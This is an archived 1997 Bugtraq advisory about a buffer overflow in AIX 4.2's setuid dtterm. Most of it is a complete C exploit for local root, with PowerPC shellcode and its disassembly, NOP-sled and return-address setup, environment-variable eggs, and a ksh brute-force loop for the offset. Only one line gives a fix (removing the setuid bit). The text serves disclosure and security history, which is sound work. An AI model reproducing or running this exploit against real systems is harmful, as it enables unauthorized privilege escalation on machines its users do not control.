AIX 4.2 /usr/dt/bin/dtterm buffer overflow

Summary
Description:Standard buffer overflow. Possibly in the X library.
Author:Georgi Guninski <guninski@hotmail.com> (and who says all hotmail users are idiots?)
Compromise: root (local)
Vulnerable Systems:AIX 4.2, possibly others. Exploit for a RS/6000 box.
Date:20 May 1997
Details


Date: Tue, 20 May 1997 17:10:52 +0300
From: Georgi Guninski <guninski@hotmail.com>
To: BUGTRAQ@NETSPACE.ORG
Subject: AIX 4.2 dtterm exploit

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There is a buffer overflow in /usr/dt/bin/dtterm and/or in libXt which
spawns a root shell.

Solution: #chmod -s /usr/dt/bin/dtterm  ; dtterm seems to continue working.

Tested on AIX 4.2 RS/6000 box.

/*----cut here---------
 AIX 4.2,(others?) dtterm exploit by Georgi Guninski

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Use the IBM C compiler.
Compile with: cc -g aixdtterm.c
Some brute forcing may help.
DISPLAY should be set to a valid display.
SOLUTION: #chmod -s /usr/dt/bin/dtterm          ; dtterm seems to continue
working?
-----------------
Georgi Guninski
 guninski@hotmail.com
 sgg@vmei.acad.bg
 guninski@linux2.vmei.acad.bg
 http://www.geocities.com/ResearchTriangle/1711

Suggestions,comments and job offers are welcome!
20-MAY-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char prog[100]="/usr/dt/bin/dtterm";
char prog2[30]="dtterm";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* return address */
int corr=1000;
char *args[4];
char *arg1="-ms";
char *newenv[8];
int startwith=0;

mn=200;
max=300;

if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop<mn;nop++)
 buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);


newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Just frame pointers */
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/*      Georgi Guninski
        guninski@hotmail.com
        sgg@vmei.acad.bg
        guninski@linux2.vmei.acad.bg
        http://www.geocities.com/ResearchTriangle/1711*/
}
-------sometimes this helps-----------------------
#!/bin/ksh
L=20
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 144`
./a.out $L
done

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